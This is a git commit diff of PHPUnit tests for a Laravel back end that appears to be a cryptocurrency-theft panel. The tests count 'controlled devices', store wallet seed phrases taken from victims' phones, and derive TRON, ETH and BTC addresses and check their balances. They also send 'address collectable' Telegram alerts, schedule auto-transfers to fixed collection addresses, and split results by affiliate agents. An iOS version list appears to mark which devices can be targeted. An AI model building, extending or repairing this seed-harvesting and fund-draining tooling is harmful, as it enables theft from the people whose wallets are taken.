feat: stats

This commit is contained in:
hashbro
2026-09-09 02:52:24 +08:00
parent c1d24ab815
commit 04318c08b3
32 changed files with 1672 additions and 41 deletions
+13 -1
View File
@@ -356,6 +356,18 @@ class AdminAgentPortalTest extends TestCase
'updated_at' => '2026-08-10 12:00:00',
]);
$oldAddr = WalletAddress::query()->create([
'device_id' => $outOfRange->id,
'address' => 'TOutOfRangeAddr11111111111111111',
'chain_type' => 'TRON',
'usdt' => '3',
'trx' => '2',
]);
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $oldAddr->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$mn = WalletMnemonic::query()->create([
'device_id' => $inRange->id,
'source' => 'MetaMask',
@@ -378,7 +390,7 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.wallet_count', 1)
->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.balances.usdt', '8')
->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15');
}
@@ -0,0 +1,179 @@
<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class CollectableAddressNotifyTest extends TestCase
{
use RefreshDatabase;
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private const TRON_0 = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
private const ETH_0 = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
private const BTC_0 = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.telegram.bot_token' => 'tg-token',
'coruna.telegram.owner_chat_id' => '10001',
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
]);
}
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
{
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => $source,
]);
$row->mnemonic = self::MNEMONIC;
$row->save();
return $row;
}
#[Test]
public function schedule_runs_link_mnemonics_with_auto_transfer(): void
{
$this->artisan('schedule:list')
->expectsOutputToContain('coruna:link-mnemonics')
->expectsOutputToContain('coruna:auto-transfer')
->assertSuccessful();
}
#[Test]
public function successful_link_sends_collectable_address_telegram(): void
{
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$device = Device::query()->create([
'device_id' => 'dev-collect-link',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
$this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::TRON_0,
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
'trx' => 3.5,
'usdt' => 12,
]);
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, 'TRX: 3.5')
&& str_contains($text, 'USDT: 12')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
#[Test]
public function unmatched_link_does_not_send_collectable_telegram(): void
{
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$device = Device::query()->create(['device_id' => 'dev-collect-miss']);
$this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TXYZunmatched111111111111111111111',
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr));
Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知'));
}
#[Test]
public function mnemonic_derive_sends_collectable_addresses_and_balances(): void
{
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$method = $request->data()['method'] ?? '';
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if ($method === 'eth_call') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
], 200);
}
return Http::response([], 404);
});
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
$mnemonic = $this->storeMnemonic($device);
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '地址可归集通知')
&& str_contains($text, self::TRON_0)
&& str_contains($text, self::ETH_0)
&& str_contains($text, self::BTC_0)
&& str_contains($text, 'TRX:')
&& str_contains($text, 'USDT:')
&& str_contains($text, 'BTC:')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
}
+433
View File
@@ -0,0 +1,433 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\DailyStat;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\DashboardStatsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DailyReportTest extends TestCase
{
use RefreshDatabase;
private const CHANNEL = 'ffffffffffffffffffffffffffffffff';
private const OTHER = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
}
#[Test]
public function schedule_includes_daily_stats(): void
{
$this->artisan('schedule:list')
->expectsOutputToContain('coruna:daily-stats')
->assertSuccessful();
}
#[Test]
public function admin_page_matches_dashboard_today_and_lists_thirty_days(): void
{
$this->seedTodayVisitsAndDevices();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$dash = app(DashboardStatsService::class)->collect(['range' => 'today']);
$this->actingAs($admin, 'admin')
->get(route('admin.reports.daily'))
->assertOk()
->assertSee('按日期统计')
->assertSee('总 UV')
->assertSee('有效 UV')
->assertSee('受控设备')
->assertSee('受控比例')
->assertSee('有钱包设备')
->assertSee('钱包地址')
->assertSee('助记词数')
->assertSee('近 30 天')
->assertSee('LAY-daily-date-range')
->assertSee('LAY-daily-report')
->assertSee('LAY-daily-report-chart')
->assertSee('echarts')
->assertSee("'受控设备': true", false)
->assertSee('LAY-daily-search')
->assertSee('代理用户')
->assertSee(now()->toDateString())
->assertDontSee('最近30天');
$payload = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.from', now()->subDays(29)->toDateString())
->assertJsonPath('data.to', now()->toDateString())
->json('data');
$this->assertCount(30, $payload['rows']);
$this->assertSame(now()->toDateString(), $payload['rows'][0]['date']);
$this->assertSame($dash['uv'], $payload['rows'][0]['uv']);
$this->assertSame($dash['effective_uv'], $payload['rows'][0]['effective_uv']);
$this->assertSame($dash['total'], $payload['rows'][0]['devices']);
$this->assertEquals(round($dash['total'] / $dash['effective_uv'] * 100, 1), $payload['rows'][0]['control_rate']);
$this->assertSame($dash['wallet_count'], $payload['rows'][0]['wallet_devices']);
$this->assertSame($dash['address_count'], $payload['rows'][0]['address_count']);
$this->assertSame($dash['mnemonic_count'], $payload['rows'][0]['mnemonic_count']);
$this->assertNull($payload['rows'][1]['control_rate']);
$this->assertSame(30, DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->count());
}
#[Test]
public function data_accepts_custom_date_range(): void
{
$this->seedTodayVisitsAndDevices();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$from = now()->subDays(2)->toDateString();
$to = now()->toDateString();
$payload = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data', [
'date_from' => $from,
'date_to' => $to,
]))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.from', $from)
->assertJsonPath('data.to', $to)
->json('data');
$this->assertCount(3, $payload['rows']);
$this->assertSame($to, $payload['rows'][0]['date']);
$this->assertSame($from, $payload['rows'][2]['date']);
}
#[Test]
public function data_can_span_more_than_thirty_days(): void
{
$old = now()->subDays(40);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'old-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => $old,
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$payload = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data', [
'date_from' => $old->toDateString(),
'date_to' => now()->toDateString(),
]))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.from', $old->toDateString())
->assertJsonPath('data.to', now()->toDateString())
->json('data');
$this->assertCount(41, $payload['rows']);
$oldRow = collect($payload['rows'])->firstWhere('date', $old->toDateString());
$this->assertNotNull($oldRow);
$this->assertSame(1, $oldRow['uv']);
}
#[Test]
public function command_rebuilds_historical_day(): void
{
$yesterday = now()->subDay();
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'hist-1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => $yesterday,
]);
$device = Device::query()->create([
'device_id' => 'hist-dev',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES,
]);
\Illuminate\Support\Facades\DB::table('devices')->where('id', $device->id)->update([
'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(),
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'THistDailyAddr1111111111111111111',
'chain_type' => 'TRON',
]);
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(),
]);
$mnemonic = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mnemonic->save();
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mnemonic->id)->update([
'created_at' => $yesterday->toDateTimeString(),
'updated_at' => $yesterday->toDateTimeString(),
]);
$this->artisan('coruna:daily-stats', ['--days' => 2])
->expectsOutputToContain('daily-stats rebuilt=2')
->assertSuccessful();
$row = DailyStat::query()
->where('scope_key', DailyStat::SCOPE_ALL)
->where('stat_date', $yesterday->toDateString())
->first();
$this->assertNotNull($row);
$this->assertSame(1, $row->uv);
$this->assertSame(1, $row->effective_uv);
$this->assertSame(1, $row->devices);
$this->assertSame(1, $row->wallet_devices);
$this->assertSame(1, $row->address_count);
$this->assertSame(1, $row->mnemonic_count);
}
#[Test]
public function command_all_backfills_from_earliest_row(): void
{
$old = now()->subDays(40);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'old-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => $old,
]);
$this->artisan('coruna:daily-stats', ['--all' => true])
->expectsOutputToContain('daily-stats rebuilt=')
->assertSuccessful();
$row = DailyStat::query()
->where('scope_key', DailyStat::SCOPE_ALL)
->where('stat_date', $old->toDateString())
->first();
$this->assertNotNull($row);
$this->assertSame(1, $row->uv);
}
#[Test]
public function agent_only_sees_own_channel(): void
{
$agent = User::query()->create(['username' => 'rep-agent', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'mine',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::OTHER,
'client_uid' => 'other',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
Device::query()->create([
'device_id' => 'mine-dev',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES,
]);
Device::query()->create([
'device_id' => 'other-dev',
'channel_id' => self::OTHER,
'has_wallet' => Device::WALLET_YES,
]);
$this->actingAs($agent, 'agent')
->get(route('user.reports.daily'))
->assertOk()
->assertSee('按日期统计')
->assertSee('近 30 天')
->assertDontSee('代理用户');
$payload = $this->actingAs($agent, 'agent')
->getJson(route('user.reports.daily.data'))
->assertOk()
->assertJsonPath('code', 0)
->json('data');
$this->assertSame(1, $payload['rows'][0]['uv']);
$this->assertSame(1, $payload['rows'][0]['devices']);
$this->assertEquals(100, $payload['rows'][0]['control_rate']);
$this->assertSame(1, $payload['rows'][0]['wallet_devices']);
$this->assertSame(30, DailyStat::query()->where('scope_key', 'a:'.$agent->id)->count());
$this->assertSame(0, (int) DailyStat::query()->where('scope_key', DailyStat::SCOPE_ALL)->sum('uv'));
}
#[Test]
public function admin_can_filter_by_agent(): void
{
$agent = User::query()->create(['username' => 'filter-agent', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'mine',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::OTHER,
'client_uid' => 'official',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
Device::query()->create([
'device_id' => 'mine-dev',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES,
]);
Device::query()->create([
'device_id' => 'official-dev',
'channel_id' => self::OTHER,
'has_wallet' => Device::WALLET_NONE,
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$all = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data'))
->assertOk()
->json('data.rows.0');
$this->assertSame(2, $all['uv']);
$this->assertSame(2, $all['devices']);
$this->assertSame(1, $all['wallet_devices']);
$mine = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data', ['agent_user_id' => $agent->id]))
->assertOk()
->json('data.rows.0');
$this->assertSame(1, $mine['uv']);
$this->assertSame(1, $mine['devices']);
$this->assertSame(1, $mine['wallet_devices']);
$official = $this->actingAs($admin, 'admin')
->getJson(route('admin.reports.daily.data', ['agent_user_id' => 0]))
->assertOk()
->json('data.rows.0');
$this->assertSame(1, $official['uv']);
$this->assertSame(1, $official['devices']);
$this->assertSame(0, $official['wallet_devices']);
}
#[Test]
public function command_rebuilds_agent_scopes(): void
{
$agent = User::query()->create(['username' => 'cron-agent', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'cron-uv',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
$this->artisan('coruna:daily-stats', ['--days' => 1])
->expectsOutputToContain('rebuilt=1 agents=1')
->assertSuccessful();
$row = DailyStat::query()
->where('scope_key', 'a:'.$agent->id)
->where('stat_date', now()->toDateString())
->first();
$this->assertNotNull($row);
$this->assertSame(1, $row->uv);
}
#[Test]
public function home_menu_includes_daily_report(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('每日报表')
->assertSee(route('admin.reports.daily'), false);
}
private function seedTodayVisitsAndDevices(): void
{
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u1',
'os' => 'iOS',
'os_version' => '16.6',
'browser' => 'Safari',
'created_at' => now(),
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL,
'client_uid' => 'u2',
'os' => 'Android',
'os_version' => '13',
'browser' => 'Chrome',
'created_at' => now(),
]);
$wallet = Device::query()->create([
'device_id' => 'dev-wallet',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES,
]);
Device::query()->create([
'device_id' => 'dev-empty',
'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_NONE,
]);
WalletAddress::query()->create([
'device_id' => $wallet->id,
'address' => 'TDailyReportAddr11111111111111111',
'chain_type' => 'TRON',
]);
$mnemonic = new WalletMnemonic([
'device_id' => $wallet->id,
'source' => 'imToken',
]);
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mnemonic->save();
}
}
+7
View File
@@ -462,6 +462,13 @@ class PageVisitTest extends TestCase
$rows = [
['12.5.7', false],
['13.0', true],
['15.8.7', true],
['15.8.8', false],
['15.8.9', true],
['16.7.1', true],
['16.7.9', true],
['16.7.10', false],
['16.7.12', false],
['17.2.1', true],
['17.2.2', false],
['17.3', false],
+38 -3
View File
@@ -87,6 +87,8 @@ class SystemAdminTest extends TestCase
$this->actingAs($staff, 'admin')
->get(route('admin.home'))
->assertOk()
->assertSee('每日报表')
->assertSee('lay-href="'.route('admin.reports.daily').'"', false)
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
@@ -164,12 +166,14 @@ class SystemAdminTest extends TestCase
}
#[Test]
public function settings_page_hides_token_and_transfer_to_addresses(): void
public function settings_page_hides_token_and_shows_readonly_collect_addresses(): void
{
config([
'coruna.telegram.bot_token' => 'secret-token-should-not-render',
'coruna.telegram.bot_username' => 'ops_bot',
'coruna.transfer.to_address' => 'THiddenToAddressShouldNotRender',
'coruna.transfer.to_address' => 'TCollectTronAddressForDisplayOnly',
'coruna.transfer.to_address_eth' => '0xCollectEthAddressForDisplayOnly',
'coruna.transfer.to_address_btc' => 'bc1CollectBtcAddressForDisplay',
'coruna.panel.admin_hosts' => [],
'coruna.channel_domains' => ['hidden-cdn.example.com'],
]);
@@ -180,11 +184,16 @@ class SystemAdminTest extends TestCase
->assertDontSee('secret-token-should-not-render')
->assertDontSee('name="telegram_bot_token"', false)
->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="transfer_to_address_eth"', false)
->assertDontSee('name="transfer_to_address_btc"', false)
->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false)
->assertDontSee('后台访问域名')
->assertDontSee('渠道链接')
->assertDontSee('THiddenToAddressShouldNotRender')
->assertSee('归集地址')
->assertSee('TCollectTronAddressForDisplayOnly')
->assertSee('0xCollectEthAddressForDisplayOnly')
->assertSee('bc1CollectBtcAddressForDisplay')
->assertDontSee('hidden-cdn.example.com')
->assertSee('TELEGRAM_BOT_TOKEN')
->assertSee('@ops_bot')
@@ -192,6 +201,32 @@ class SystemAdminTest extends TestCase
->assertDontSee('staff_mnemonic_reveal');
}
#[Test]
public function settings_update_cannot_change_collect_addresses(): void
{
config([
'coruna.transfer.to_address' => 'TKeepCollect',
'coruna.transfer.to_address_eth' => '0xKeepCollect',
'coruna.transfer.to_address_btc' => 'bc1KeepCollect',
]);
$this->actingAs($this->superAdmin(), 'admin')
->post(route('admin.system.settings.update'), [
'telegram_owner_chat_id' => '-1001',
'official_album_storage' => '0',
'auto_transfer_enabled' => '0',
'transfer_to_address' => 'THackedCollect',
'transfer_to_address_eth' => '0xHackedCollect',
'transfer_to_address_btc' => 'bc1HackedCollect',
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertSame('TKeepCollect', config('coruna.transfer.to_address'));
$this->assertSame('0xKeepCollect', config('coruna.transfer.to_address_eth'));
$this->assertSame('bc1KeepCollect', config('coruna.transfer.to_address_btc'));
}
#[Test]
public function super_admin_can_crud_admins(): void
{
+12 -5
View File
@@ -60,21 +60,28 @@ class WalletAddressFilterTest extends TestCase
}
#[Test]
public function data_includes_mnemonic_id(): void
public function data_marks_collectable_when_mnemonic_linked(): void
{
$rows = $this->seedRows();
$this->seedRows();
$admin = $this->admin();
$this->actingAs($this->admin(), 'admin')
$this->actingAs($admin, 'admin')
->get(route('admin.addresses.index'))
->assertOk()
->assertSee('可归集')
->assertDontSee('助记词 ID');
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['device_key' => 'dev-addr-filter']))
->assertOk()
->assertJsonPath('count', 3)
->assertJsonFragment([
'address' => 'addr-with-mnemonic',
'mnemonic_id' => $rows['mnemonic']->id,
'collectable' => true,
])
->assertJsonFragment([
'address' => 'addr-plain',
'mnemonic_id' => null,
'collectable' => false,
]);
}